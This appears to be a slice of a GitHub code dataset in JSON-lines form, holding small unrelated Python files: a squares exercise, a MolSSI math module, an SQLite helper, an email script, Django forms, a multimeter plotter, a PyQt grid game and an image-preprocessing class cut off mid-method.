User_number_as_string = input(\"Enter a positive integer here: \")\n # input\n # this part of the program ensures that the user enters a valid input. any erronious\n # input will be detected and instead of the program crashing, the program will display that it is invalid input\n try:\n User_number_as_int = int(User_number_as_string)\n # to make sure that use input is more than zero\n if User_number_as_int < 0:\n print(\"\")\n print(\" please input a whole number \")\n # process\n # if user number is more than 0 then the program will progress to the for loop\n elif User_number_as_int >= 0:\n # Loops and lists the program and multiplies the counter time to the power of 2 each time\n # up untill the counter is looped the same times as the user input\n for counter in range(User_number_as_int + 1):\n power_of_two = counter ** 2\n print()\n print (\"{}^2 = {}.\".format(counter, power_of_two))\n # bottom part of the try catch\n except Exception:\n print()\n print(\"please input a whole number \")\n finally:\n print()\n print(\"Thanks for playing.\")\n \n \nif __name__ == \"__main__\":\n main()\n","repo_name":"ICS3U-Programming-MinabB/Unit4-03-Python","sub_path":"power_of_two.py","file_name":"power_of_two.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71250715346","text":"from collections import defaultdict\nimport random\n\nfrom canoepaddle import Pen\n\n\n# Randomly draw lines between random points. Don't draw more than two lines\n# that meet at the same point.\n\ndef gen_points(num_points):\n for _ in range(num_points):\n x = random.uniform(0.0, 1.0)\n y = random.uniform(0.0, 1.0)\n yield x, y\n\n\ndef gen_lines(num_points, num_lines):\n points = list(gen_points(num_points))\n point_occupancy = defaultdict(int)\n for _ in range(num_lines):\n a = random.choice(points)\n if point_occupancy[a] >= 2:\n continue\n else:\n point_occupancy[a] += 1\n\n b = random.choice(points)\n if point_occupancy[b] >= 2:\n continue\n else:\n point_occupancy[b] += 1\n\n yield a, b\n\n\nif __name__ == '__main__':\n while True:\n p = Pen()\n p.stroke_mode(0.01)\n for a, b in gen_lines(200, 100):\n p.move_to(a)\n p.line_to(b)\n p.break_stroke()\n\n try:\n p.paper.join_paths()\n except AssertionError:\n print(p.log())\n break\n else:\n print(p.paper.format_svg(6, resolution=1000))\n break\n","repo_name":"christian-oudard/canoepaddle","sub_path":"examples/random_lines.py","file_name":"random_lines.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28055958660","text":"\"\"\"\nmolssi_math.py\nA package developed in the MolSSI workshop to do... math\n\nHandles the primary functions\n\"\"\"\n\n\ndef canvas(with_attribution=True):\n \"\"\"\n Placeholder function to show example docstring (NumPy format)\n\n Replace this function and doc string for your own project\n\n Parameters\n ----------\n with_attribution : bool, Optional, default: True\n Set whether or not to display who the quote is from\n\n Returns\n -------\n quote : str\n Compiled string including quote and optional attribution\n \"\"\"\n\n quote = \"The code is but a canvas to our imagination.\"\n if with_attribution:\n quote += \"\\n\\t- Adapted from Henry David Thoreau\"\n return quote\n\n\ndef mean(mylist):\n \"\"\"\n function to take the mean of a list\n \n Parameters\n ----------\n mylist : list\n list of numbers to take a mean\n \n \n Returns\n -------\n mean_list : float\n The mean of the list.\n\n\n Examples\n --------\n >>> mean([1,2,3,4,5,6,7])\n 4.0\n\n\n \"\"\"\n if not isinstance(mylist, list):\n raise TypeError(\"Mean: %s is not a list!\" % mylist)\n\n return (sum(mylist) / len(mylist))\n\n\nif __name__ == \"__main__\":\n # Do something if this file is invoked on its own\n print(canvas())\n","repo_name":"tlfobe/molssi_workshop","sub_path":"molssi_workshop/molssi_math.py","file_name":"molssi_math.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13533447735","text":"import sqlite3\nfrom unittest import result\n\ndef find_group_id(group_name: str, grade_t: str, cursor):\n result = cursor.execute(f\"SELECT id FROM {grade_t} WHERE name='{group_name}'\")\n records = result.fetchone()\n\n if records:\n return records[0]\n else:\n print(\"Group not found!\")\n return 00000;\n\ndef connect_db(db_name):\n try:\n conn = sqlite3.connect(db_name)\n print(\"Successfully connected to DB!\")\n cursor = conn.cursor()\n except sqlite3.Error as e:\n print(f\"Error occured while connecting to db: {e}\")\n\n return conn, cursor\n","repo_name":"t4ke1/EduHelpBot","sub_path":"cist_libs/dbglib.py","file_name":"dbglib.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21543576406","text":"import smtplib, ssl\r\nfrom Web_info_test import fajr,sunrise,dhuhr,asr,maghrib,isha\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom selenium import webdriver\r\n\r\ndef send_mail():\r\n server = \"smtp.gmail.com\"\r\n port = 587\r\n password = \"email_password\"\r\n sender_address = \"email_address\"\r\n receiver_address = \"receiver_email_address\"\r\n \r\n msg = MIMEMultipart()\r\n msg['Subject'] = 'Your Day'\r\n msg['From'] = sender_address\r\n msg['To'] = receiver_address\r\n \r\n html =\"\"\"\\\r\n \r\n \r\n
You have work from 8:00-5:00
\r\n
You have no class today
\r\n
Prayer Times are the following:
\r\n \r\n \r\n \r\n
  • \"\"\"+(fajr)+\"\"\"
  • \r\n
  • \"\"\"+(sunrise)+\"\"\"
  • \r\n
  • \"\"\"+(dhuhr)+\"\"\"
  • \r\n
  • \"\"\"+(asr)+\"\"\"
  • \r\n
  • \"\"\"+(maghrib)+\"\"\"
  • \r\n
  • \"\"\"+(isha)+\"\"\"
  • \r\n \r\n
    \r\n
    You may want to improve this project or start a new one!
    \r\n \r\n \r\n \"\"\" \r\n msg.attach(MIMEText(html,'html'))\r\n context = ssl.create_default_context()\r\n\r\n try:\r\n with smtplib.SMTP(server, port) as smtpObj:\r\n smtpObj.ehlo()\r\n smtpObj.starttls()\r\n smtpObj.login(sender_address, password)\r\n smtpObj.sendmail(sender_address, receiver_address, msg.as_string())\r\n except Exception as e:\r\n print(e)\r\nsend_mail()\r\n","repo_name":"mhalfaouri/Prayer_Times_Email","sub_path":"Prayer_Times_Email.py","file_name":"Prayer_Times_Email.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73694722704","text":"\"\"\"Forms to process attributes and sharing.\"\"\"\nfrom typing import Dict\n\nfrom django import forms\nfrom django.contrib.auth import get_user_model\nfrom django.utils.translation import gettext_lazy as _\n\nfrom ontask import is_legal_name, models\nfrom ontask.models.common import CHAR_FIELD_MID_SIZE\n\n\nclass AttributeItemForm(forms.Form):\n \"\"\"Form to get a key/value pair as attribute.\"\"\"\n\n key = forms.CharField(\n max_length=CHAR_FIELD_MID_SIZE,\n strip=True,\n required=True,\n label=_('Name'))\n\n # Field for the value\n attr_value = forms.CharField(\n max_length=CHAR_FIELD_MID_SIZE,\n label='Value')\n\n def __init__(self, *args, **kwargs):\n \"\"\"Set keys and values.\"\"\"\n self.keys = kwargs.pop('keys')\n self.workflow = kwargs.pop('workflow', None)\n\n key = kwargs.pop('key', '')\n att_value = kwargs.pop('value', '')\n\n super().__init__(*args, **kwargs)\n\n self.fields['key'].initial = key\n self.fields['attr_value'].initial = att_value\n\n def clean(self) -> Dict:\n \"\"\"Check that the name is correct and is not duplicated.\"\"\"\n form_data = super().clean()\n\n attr_name = form_data['key']\n\n # Name is legal\n msg = is_legal_name(attr_name)\n if msg:\n self.add_error('key', msg)\n return form_data\n\n if attr_name != self.fields['key'].initial and attr_name in self.keys:\n self.add_error(\n 'key',\n _('An attribute with this name already exists.'))\n return form_data\n\n # Enforce the property that Attribute names, column names and\n # condition names cannot overlap.\n if attr_name in self.workflow.get_column_names():\n self.add_error(\n 'key',\n _('There is a column with this name. Please change.'),\n )\n return form_data\n\n # Check if there is a condition with that name\n if (\n models.Condition.objects.filter(\n action__workflow=self.workflow,\n name=attr_name,\n ).exists()\n ):\n self.add_error(\n 'key',\n _('There is a condition already with this name.'),\n )\n return form_data\n\n return form_data\n\n\nclass SharedForm(forms.Form):\n \"\"\"Form to ask for a user email to add to those sharing the workflow.\n\n The form uses two parameters:\n\n :param user: The user making the request (to detect self-sharing)\n :param workflow: The workflow to share (to detect users already in the\n list)\n \"\"\"\n\n user_email = forms.CharField(\n max_length=CHAR_FIELD_MID_SIZE,\n strip=True,\n label=_('User email'))\n\n def __init__(self, *args, **kwargs):\n \"\"\"Set the request user, workflow.\"\"\"\n self.request_user = kwargs.pop('user', None)\n self.workflow = kwargs.pop('workflow')\n self.user_obj = None\n\n super().__init__(*args, **kwargs)\n\n def clean(self) -> Dict:\n \"\"\"Check that the request has the correct user.\"\"\"\n form_data = super().clean()\n\n self.user_obj = get_user_model().objects.filter(\n email__iexact=form_data['user_email'],\n ).first()\n if not self.user_obj:\n self.add_error('user_email', _('User not found'))\n return form_data\n\n if self.user_obj == self.request_user:\n self.add_error(\n 'user_email',\n _('You do not need to add yourself to the share list'))\n\n if self.user_obj in self.workflow.shared.all():\n self.add_error('user_email', _('User already in the list'))\n\n return form_data\n","repo_name":"abelardopardo/ontask_b","sub_path":"ontask/workflow/forms/attribute_shared.py","file_name":"attribute_shared.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"48"} +{"seq_id":"15951383744","text":"from django.shortcuts import render\nfrom items.models import Item\n\n\ndef index(request):\n \"\"\" A view to return the index page \"\"\"\n items = Item.objects.filter(active=True).order_by('-featured')\n\n context = {\n 'items': items\n }\n return render(request, 'home/index.html', context)\n","repo_name":"mcglasp/ms4-big-idea-books","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"24951954206","text":"# %%\r\nimport cv2\r\nimport numpy as np\r\n\r\nfrom onstart import LOGGER, CFG\r\n\r\n# %%\r\n\r\n\r\ndef _bytes(string, coding=CFG['TCP']['coding']):\r\n '''\r\n Code the string into bytes\r\n\r\n Args:\r\n - buf: The input buf, if it is string, it will be converted to bytes; if it is bytes, it will be left no changed.\r\n - coding: The coding to use, it has default value.\r\n\r\n Output:\r\n Return the bytes of coding.\r\n '''\r\n return bytes(string, coding)\r\n\r\n# %%\r\n\r\n\r\ndef _pic_encoder(img):\r\n '''\r\n Encode image into bytes, using .png format\r\n\r\n Args:\r\n - img: The input image, shape is (width, height, 3), dtype is uint8.\r\n\r\n Output:\r\n - bytes: The image coding bytes.\r\n '''\r\n assert(img.dtype == np.uint8)\r\n assert(len(img.shape) == 3)\r\n assert(img.shape[2] == 3)\r\n\r\n success, arr = cv2.imencode('.png', img)\r\n\r\n bytes = arr.tobytes()\r\n\r\n return bytes\r\n\r\n# %%\r\n\r\n\r\ndef _pic_decoder(bytes):\r\n '''\r\n Decode image from bytes, using default method\r\n\r\n Args:\r\n - bytes: The bytes to decode.\r\n\r\n Output:\r\n - img: The decoded image, shape is (width, height, 3), dtype is uint8.\r\n - Return None if it fails on decoding.\r\n '''\r\n assert(isinstance(bytes, type(b'a')))\r\n\r\n try:\r\n arr = np.frombuffer(bytes, np.uint8)\r\n img = cv2.imdecode(arr, cv2.IMREAD_COLOR)\r\n except:\r\n LOGGER.error('Image decode failed')\r\n return None\r\n\r\n return img\r\n\r\n# %%\r\n\r\n\r\nif __name__ == '__main__':\r\n img = np.random.randint(0, 255, size=(10, 20, 3), dtype=np.uint8)\r\n\r\n _img = _pic_decoder(_pic_encoder(img))\r\n\r\n LOGGER.info('Toolbox self-check,')\r\n LOGGER.info('It should be two zeros: {}, {}'.format(np.max(img-_img),\r\n np.min(img-_img)))\r\n","repo_name":"listenzcc/Video2pictures","sub_path":"project/toolbox.py","file_name":"toolbox.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36489743565","text":"#Pour moi:\r\n#c:\\Users\\Martine\\Miniconda3\\python.exe\r\n#\"C:\\Users\\Martine\\Desktop\\IMI\\TDLOG\\DELORO_TDLOG41\\DELORO_TDLOG4\\Interface.py\" \r\n# -*- coding: utf-8 -*- \r\n\r\n#DELORO Yonatan \r\n\r\nimport Jeu\r\nimport sys\r\nfrom PyQt4 import QtGui\r\n \r\n#1. Menu du jeu \r\n\r\nclass GameMenu(QtGui.QInputDialog):\r\n \r\n def __init__(self):\r\n super(GameMenu, self).__init__() \r\n self.taille_grille=-1\r\n self.mode_jeu=-1 #1 si 1 joueur humain ou 2 si 2 joueurs humains\r\n (self.joueur1,self.joueur2)=(\"\",\"\") #nom des 2 joueurs\r\n self.joueur1first=True #le joueur 1 est-il le premier à jouer ? \r\n self.forceIA=-1 #profondeur de l'IA le cas échéant\r\n self.MainMenu()\r\n\r\n def MainMenu(self): \r\n #Affiche un menu général où on choisit taille et mode de jeu \r\n #(à 1 ou à 2 joueurs humains)\r\n\r\n #Choix de la taille de la grille :\r\n taille = 0 \r\n while (taille<3 or taille>9): \r\n #le traitement d'une grille de taille paire est différent \r\n taille, ok1 = QtGui.QInputDialog.getInt(self, \"Menu\", \r\n \"Entrez la taille de la grille, entre 3 et 9 :\")\r\n self.taille_grille=taille\r\n #si la taille de la grille est paire, on affiche un message indiquant\r\n #à l'utilsateur la correction qui va être effectuée par le programme\r\n if (self.taille_grille%2==0):\r\n self.InfoResetSize() \r\n \r\n #Choix du mode de jeu (1 ou 2 joueurs) et appel du bon sous-menu :\r\n mode = -1\r\n while (mode!=1 and mode!=2):\r\n mode, ok2 = QtGui.QInputDialog.getInt(self, \"Menu\", \"Entrez '1' \" +\r\n \"pour jouer seul contre l'ordinateur ou '2' pour jouer à 2.\")\r\n self.mode_jeu=mode\r\n if self.mode_jeu==1:\r\n self.OnePlayerMenu()\r\n else:\r\n self.TwoPlayersMenu()\r\n \r\n def OnePlayerMenu(self):\r\n #Affiche le sous-menu pour un jeu contre l'ordinateur (IA)\r\n \r\n #Choix du nom du joueur :\r\n ok1=False \r\n #Ainsi l'utilisateur ne peut pas \"sauter\" la fenêtre avec \"Cancel\"\r\n while not ok1: \r\n nom, ok1 = QtGui.QInputDialog.getText(self, \"Menu 1J\", \r\n \"Entrez le nom du joueur\")\r\n self.joueur1=str(nom)\r\n self.joueur2=\"Computer IA\"\r\n \r\n #Choix de la force de l'ordinateur (profondeur de l'IA) :\r\n profondeur = -1\r\n while (profondeur<1 or profondeur>4):\r\n profondeur, ok2 = QtGui.QInputDialog.getInt(self, \"Menu 1J\",\r\n \"Entrez la force de l'IA (nombre de coups anticipés > 0, et < 5 \" \r\n + \"pour un temps d'attente raisonnable)\") \r\n self.forceIA=profondeur\r\n \r\n #Choix du joueur qui joue en premier la première partie :\r\n reponse=-1\r\n while (reponse!=1 and reponse!=2):\r\n reponse, ok3 = QtGui.QInputDialog.getInt(self, \"Menu 1J\", \r\n \"Souhaitez-vous commencer la première partie ? 'Oui' -> 1,\" +\r\n \" 'Non' -> 2 ?\")\r\n if reponse==1:\r\n self.joueur1first=True\r\n else:\r\n self.joueur1first=False\r\n \r\n \r\n def TwoPlayersMenu(self):\r\n #Affiche le sous-menu pour un jeu à 2 joueurs humains\r\n \r\n #Choix des noms des joueurs :\r\n ok1=False\r\n while not ok1: \r\n nom1, ok1 = QtGui.QInputDialog.getText(self, \"Menu 2J\", \r\n \"Entrez le nom du joueur 1\")\r\n self.joueur1=str(nom1)\r\n ok2=False\r\n while not ok2:\r\n nom2, ok2 = QtGui.QInputDialog.getText(self, \"Menu 2J\", \r\n \"Entrez le nom du joueur 2\")\r\n self.joueur1=str(nom1)\r\n self.joueur2=str(nom2)\r\n \r\n #Choix du joueur qui joue en premier la première partie :\r\n reponse = -1\r\n while (reponse!=1 and reponse!=2):\r\n reponse, ok3 = QtGui.QInputDialog.getInt(self, \"Menu 2J\", \r\n \"Qui commence la partie ? 'Joueur 1' -> 1, 'Joueur 2' -> 2 ?\")\r\n if reponse==1:\r\n self.joueur1first=True\r\n else:\r\n self.joueur1first=False\r\n \r\n def InfoResetSize(self):\r\n #\"Bulle d'information\" à appeler si la grille est de taille paire\r\n anything, ok = QtGui.QInputDialog.getText(self, \"Information\", \"La\" \r\n + \" taille de la grille doit être impaire. La taille que vous avez\" \r\n + \" choisie a été incrémentée automatiquement de 1.\" + \"\\n\"\r\n + \"Veuillez ignorer la barre de dialogue et cliquer directement sur\"\r\n + \" Ok.\")\r\n \r\n#2. Interface graphique du jeu\r\n\r\nclass GameInterface(QtGui.QWidget): \r\n \r\n def __init__(self):\r\n super(GameInterface,self).__init__()\r\n \r\n #Lancement du menu pour définir les caractéristiques du jeu choisies\r\n #par le(s) joueur(s)\r\n self.menu=GameMenu() \r\n\r\n #Définition du jeu\r\n self.jeu=Jeu.Game(self.menu.taille_grille,self.menu.joueur1, \r\n self.menu.joueur2,self.menu.joueur1first) \r\n \r\n #Initialisation de la grille de jeu\r\n self.jeu.InitRandom() #initialisation aléatoire\r\n\r\n #Création et initialisation de l'interface graphique du jeu\r\n #(on prend l'affichage en attribut de Interface car on en a besoin pour\r\n #récupérer les positions des boutons cliqués par les joueurs)\r\n self.affichage=QtGui.QGridLayout() \r\n #(affichage est l'ensemble des éléments agencés sur l'interface) \r\n self.setLayout(self.affichage)\r\n \r\n #Affichage de l'interface\r\n self.ShowGame() \r\n \r\n def ShowGame(self): \r\n #Affiche l'interface de jeu à un instant donné (grille, scores, nom\r\n #du joueur courant si jeu à 2 joueurs, résultat de la partie le cas\r\n #échant, avec possibilité de quitter le jeu et de rejouer une partie)\r\n\r\n self.move(0,0) \r\n self.setWindowTitle('La grille')\r\n self.show() #affichage \r\n \r\n #booléen indiquant si le coup à venir est joué par un humain \r\n a_humain_de_jouer=(self.menu.mode_jeu==2 or self.jeu.indice_courant==0)\r\n #2 cas : jeu à 2 Joueurs, ou à l'Humain de jouer dans un jeu contre IA\r\n \r\n #Ajout de la grille de jeu\r\n self.Add_Buttons_Grid(a_humain_de_jouer)\r\n #Ajout des scores des joueurs et de nom du joueur courant si jeu à 2J \r\n self.Add_Buttons_Players()\r\n #Ajout de l'état de la partie : \"partie en cours\"/résultat final\r\n self.Add_Game_State()\r\n #Ajout des boutons \"rejouer\" cliquable uniquement à la fin d'une \r\n #partie, et \"quitter\" tout le temps cliquable )\r\n self.Add_Button_PlayAgain()\r\n self.Add_Button_Exit()\r\n\r\n #Appel du coup de l'IA si la partie n'est pas finie, \r\n #si c'est le mode de jeu en question (1 joueur) et si c'est à son tour \r\n #de jouer\r\n if ((not self.jeu.EndGame()) and (not a_humain_de_jouer)):\r\n self.Play_Stroke_IA() \r\n \r\n def Add_Buttons_Grid(self, a_humain_de_jouer):\r\n #Ajoute la grille à l'interface, en configurant l'état\r\n #de chaque bouton (case de la grille) comme actif (cliquable par le\r\n #joueur à l'instant considéré) ou non, et qui actualise et affiche\r\n #la nouvelle grille si un bouton est cliqué par le joueur\r\n #le paramètre a_humain_de_jouer est un booléen indiquant si c'est à un \r\n #joueur humain de jouer à l'instant considéré\r\n \r\n #Cases actives de la grille (cliquables par le joueur) :\r\n cases_actives=[]\r\n if a_humain_de_jouer:\r\n for direction in Jeu.directions.values():\r\n try:\r\n cases_actives.append(self.jeu.NewPosition(direction))\r\n except Jeu.UnauthorizedMove:\r\n pass\r\n \r\n #Ajout de la grille à l'interface :\r\n for i in range(self.jeu._Plateau.taille):\r\n for j in range(self.jeu._Plateau.taille):\r\n gain=self.jeu._Plateau[i,j]\r\n nom=str(gain)+(3-len(str(gain)))*\" \" + \" \" \r\n bouton=QtGui.QPushButton(nom)\r\n self.affichage.addWidget(bouton,*(i,j))\r\n #configuration des états des cases (actif/non) :\r\n if (i,j) in cases_actives:\r\n #si la case est cliquable, on connecte le signal \"clicked\"\r\n #à la methode qui va recueillir le coup du joueur et \r\n #afficher la nouvelle grille actualisée\r\n bouton.clicked.connect(self.Collect_Stroke_Player) \r\n else:\r\n bouton.setEnabled(False) \r\n \r\n def Collect_Stroke_Player(self):\r\n #Calcule et affiche le nouvel état de la partie après déplacement du \r\n #personnage sur la case cliquée par le joueur\r\n \r\n #Récupération de la position de la case cliquée dans la grille :\r\n index_bouton=self.affichage.indexOf(self.sender())\r\n #Calcul de la direction de déplacement du personnage par différence\r\n #entre la position désirée par le joueur et son ancienne position :\r\n (x_new,y_new) = self.affichage.getItemPosition(index_bouton)[0:2]\r\n direction = (x_new-self.jeu._Personnage[0],y_new-self.jeu._Personnage[1])\r\n self.jeu.PlayStroke(direction) #Actualisation de la grille\r\n self.ShowGame() #Affichage du nouvel état de la partie\r\n \r\n def Add_Buttons_Players(self):\r\n #Ajoute les scores des joueurs à l'interface, ainsi que le nom du \r\n #joueur courant (dont c'est le tour) si le mode de jeu est à 2 joueurs\r\n Taille=self.jeu._Plateau.taille\r\n \r\n #Ajout des scores des joueurs à l'interface :\r\n for (i,joueur) in enumerate(self.jeu._Joueurs):\r\n bouton_joueur=QtGui.QPushButton(joueur.nom + \" : \" + str(joueur.score))\r\n self.affichage.addWidget(bouton_joueur,*(Taille,i))\r\n bouton_joueur.setEnabled(False)\r\n\r\n #Ajout du nom du joueur courant pour un jeu à 2 joueurs humains :\r\n if self.menu.mode_jeu==2:\r\n if not self.jeu.EndGame():\r\n info = \"A \"+ self.jeu._Joueurs[self.jeu.indice_courant].nom \\\r\n + \" de jouer\" \r\n else:\r\n info = \"Partie finie\"\r\n bouton_info=QtGui.QPushButton(info)\r\n self.affichage.addWidget(bouton_info,*(Taille,3))\r\n bouton_info.setEnabled(False)\r\n \r\n def Add_Game_State(self):\r\n #Ajoute de l'état de la partie (\"partie en cours\"/résultat final) à \r\n #l'interface\r\n message=\"\"\r\n if self.jeu.EndGame():\r\n message=self.jeu.Result()\r\n else:\r\n message=\"Partie en cours\"\r\n bouton_message=QtGui.QPushButton(message)\r\n Taille=self.jeu._Plateau.taille\r\n self.affichage.addWidget(bouton_message,*(Taille,4))\r\n bouton_message.setEnabled(False)\r\n\r\n def Play_Stroke_IA(self):\r\n #Actualise la grille et appelle son affichage suite au coup joué par\r\n #l'intelligence artificielle\r\n direction = self.jeu.MinMax(1,self.menu.forceIA,True)[1] \r\n self.jeu.PlayStroke(direction)\r\n self.ShowGame() \r\n \r\n def Add_Button_PlayAgain(self):\r\n #Ajoute un bouton \"Rejouer\" à l'interface qui n'est cliquable qu'à\r\n #la fin d'une partie\r\n bouton_rejouer=QtGui.QPushButton(\"Rejouer\")\r\n Taille=self.jeu._Plateau.taille\r\n self.affichage.addWidget(bouton_rejouer,*(Taille,Taille+2))\r\n if self.jeu.EndGame():\r\n #si le jeu est fini, on connecte le signal \"clicked\" sur \"rejouer\" \r\n #à la methode qui va permettre l'affichage d'une nouvelle grille\r\n #à jouer\r\n bouton_rejouer.clicked.connect(self.PlayAgain) \r\n else: \r\n bouton_rejouer.setEnabled(False)\r\n\r\n def PlayAgain(self):\r\n #Lance une nouvelle partie avec les mêmes joueurs, la même taille de\r\n #grille et l'ordre de jeu inversé (joueur 2 commence si joueur 1 a \r\n #commencé la dernière partie)\r\n self.menu.joueur1first=not self.menu.joueur1first\r\n self.jeu=Jeu.Game(self.menu.taille_grille,self.menu.joueur1,\r\n self.menu.joueur2,self.menu.joueur1first) \r\n self.jeu.InitRandom() #initialisation aléatoire\r\n self.ShowGame()\r\n \r\n def Add_Button_Exit(self):\r\n #Ajoute un bouton \"Quitter\" à l'interface cliquable à tout moment\r\n #(Ceci est un choix)\r\n bouton_quitter=QtGui.QPushButton(\"Quitter\")\r\n Taille=self.jeu._Plateau.taille\r\n self.affichage.addWidget(bouton_quitter,*(Taille,Taille+3))\r\n bouton_quitter.clicked.connect(lambda signal: self.close()) \r\n\r\n \r\n#3. Implémentation du jeu avec menu et interface graphique\r\n\r\ndef Play():\r\n app = QtGui.QApplication(sys.argv)\r\n GameInterface() \r\n sys.exit(app.exec_())\r\n\r\nPlay()\r\n\r\n","repo_name":"deloroy/Mini-game-with-interface","sub_path":"Code/Step 3 (from textual to graphical interface of the game)/Interface.py","file_name":"Interface.py","file_ext":"py","file_size_in_byte":13575,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6826059022","text":"#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nimport datetime\nimport math, argparse, sys\n\nimport sdm3055\n\ndef getArgs():\n parser = argparse.ArgumentParser(sys.argv[0])\n\n parser.add_argument(\n '--address', '-a',\n help='SDM3055 IP Address',\n type=str,\n action='store',\n default='192.168.1.98'\n )\n\n parser.add_argument(\n '--mode', '-m',\n help='DMM Mode',\n choices=sdm3055.list_modes(),\n type=str,\n action='store',\n default='current_dc',\n )\n\n parser.add_argument(\n '--range', '-r',\n help='DMM Range',\n choices=sdm3055.list_ranges(),\n type=str,\n action='store',\n default='auto',\n )\n\n parser.add_argument(\n '--nplc', '-n',\n help='NPLC Speed',\n choices=sdm3055.list_nplcs(),\n type=str,\n action='store',\n default='10',\n )\n\n parser.add_argument(\n '--log', '-l',\n help='Log10 yrange',\n action='store_true',\n )\n\n parser.add_argument(\n '--width', '-w',\n help='width in _Samples_',\n action='store',\n type=int,\n default='500',\n )\n\n parser.add_argument(\n '--save', '-s',\n help='save to file',\n action='store',\n type=argparse.FileType('w'),\n nargs='?',\n )\n return parser.parse_args()\n\n\n\ndef start_plotter(s, args):\n x_data = []\n y_data = []\n\n fig = plt.figure()\n line, = plt.plot_date(x_data, y_data, '-')\n\n if args.log:\n plt.yscale('symlog')\n plt.grid(True, which='both', ls='-')\n\n def update(frame):\n while len(x_data) > args.width:\n x_data.pop(0)\n while len(y_data) > args.width:\n y_data.pop(0)\n\n t = datetime.datetime.now()\n x_data.append(t)\n\n nv = s.meas() * 1000\n if args.save is not None:\n args.save.write(','.join((t.isoformat(), str(nv), '\\n')))\n\n y_data.append(nv)\n line.set_data(x_data, y_data)\n fig.gca().relim()\n fig.gca().autoscale_view()\n return line,\n\n anim = FuncAnimation(fig, update, interval=1)\n plt.show()\n\n\n\nPLOT_WIDTH_ITEMS = 500\n\nif __name__ == '__main__':\n a = getArgs()\n s = sdm3055.SDM3055(a.address)\n s.configure(a.mode, a.range, a.nplc)\n start_plotter(s, a)\n\n","repo_name":"djacobow/sdm3055","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40448285776","text":"# -*- coding: utf-8 -*-\n# @author: Boi Mai Quach \n##################### \n\nimport numpy as np\nimport os\nimport cv2\nimport sys\n\n\nclass Preprocessing:\n def __init__(self):\n \"\"\"\n Data processing scripts to turn raw data from (../raw) into\n cleaned data ready to be analyzed (saved in ../processed).\n\n Parameters\n ----------\n image_path: str\n A string representing the path of the image to be read.\n \n Returns\n -------\n rotated_img: numpy.ndarray\n Preprocessed image\n \"\"\"\n\n ### Preprocessing\n def pad_image_to_square(self, img, addition=0):\n \"\"\"\n Convert initial image into a square boundary\n\n Parameters\n ----------\n img: numpy.ndarray\n A RGB image\n\n addition: int\n Additional boundary\n \n Returns\n -------\n constant: numpy.ndarray\n A square image\n \"\"\"\n height, width = img.shape[:2]\n if width > height:\n dif = width - height\n if dif % 2 == 0:\n top, bottom = dif//2, dif//2\n else:\n top, bottom = dif//2 + 1, dif//2\n constant = cv2.copyMakeBorder(img,top + addition,bottom + addition,\n addition,addition,\n cv2.BORDER_CONSTANT,\n value=[255,255,255])\n\n else:\n dif = height - width\n if dif % 2 == 0:\n left, right = dif//2, dif//2\n else:\n left, right = dif//2 + 1, dif//2\n constant = cv2.copyMakeBorder(img,addition,addition,\n left + addition,right + addition,\n cv2.BORDER_CONSTANT,\n value=[255,255,255])\n\n return constant\n\n def get_binary_mask(self,img_gs, return_contour=False):\n \"\"\"\n Convert RGB image into black/white image\n\n Parameters\n ----------\n img_gs: numpy.ndarray\n A Gray image\n return_contour: bool\n Keep contour or not\n \n Returns\n -------\n mask: numpy.ndarray\n Binary mask and contour\n \"\"\"\n _, thresh = cv2.threshold(img_gs, 239, 1, cv2.THRESH_BINARY_INV)\n\n # only keep biggest contour\n contours, _ = cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n biggest_contour = max(contours, key=cv2.contourArea)\n mask = np.zeros(img_gs.shape[:2], np.uint8)\n # hull = cv2.convexHull(biggest_contour)\n cv2.drawContours(mask, [biggest_contour], -1, 1, -1)\n if return_contour:\n return mask, biggest_contour\n return mask\n\n def crop_and_flip_image(self, img, mask=None):\n \"\"\"\n Crop and flip image\n\n Parameters\n ----------\n\n img: numpy.ndarray\n A RGB image\n\n mask: None\n The Mask of a given image\n \n Returns\n -------\n flip_crop_img: numpy.ndarray\n Image after cropping and flipping\n \"\"\"\n if not mask:\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n mask = self.get_binary_mask(gray)\n # crop\n leave_indices = np.argwhere(mask > 0)\n x1 = np.min(leave_indices[:,0])\n x2 = np.max(leave_indices[:,0]) + 1\n y1 = np.min(leave_indices[:,1])\n y2 = np.max(leave_indices[:,1]) + 1\n \n crop_img = img[x1:x2, y1:y2, :]\n mask = mask[x1:x2, y1:y2]\n\n flip_crop_img = crop_img\n \n # flip\n h, w = crop_img.shape[:2]\n left = np.sum(mask[:,:w//2])\n right = np.sum(mask[:,w//2:])\n if left < right:\n flip_crop_img = cv2.flip(crop_img, 1)\n \n upper = np.sum(mask[:h//2,:])\n lower = np.sum(mask[h//2:,:])\n if upper > lower:\n flip_crop_img = cv2.flip(crop_img, 0)\n\n return flip_crop_img\n\n def get_rotation_angle(self, mask):\n \"\"\"\n Calculate the rotation angle.\n 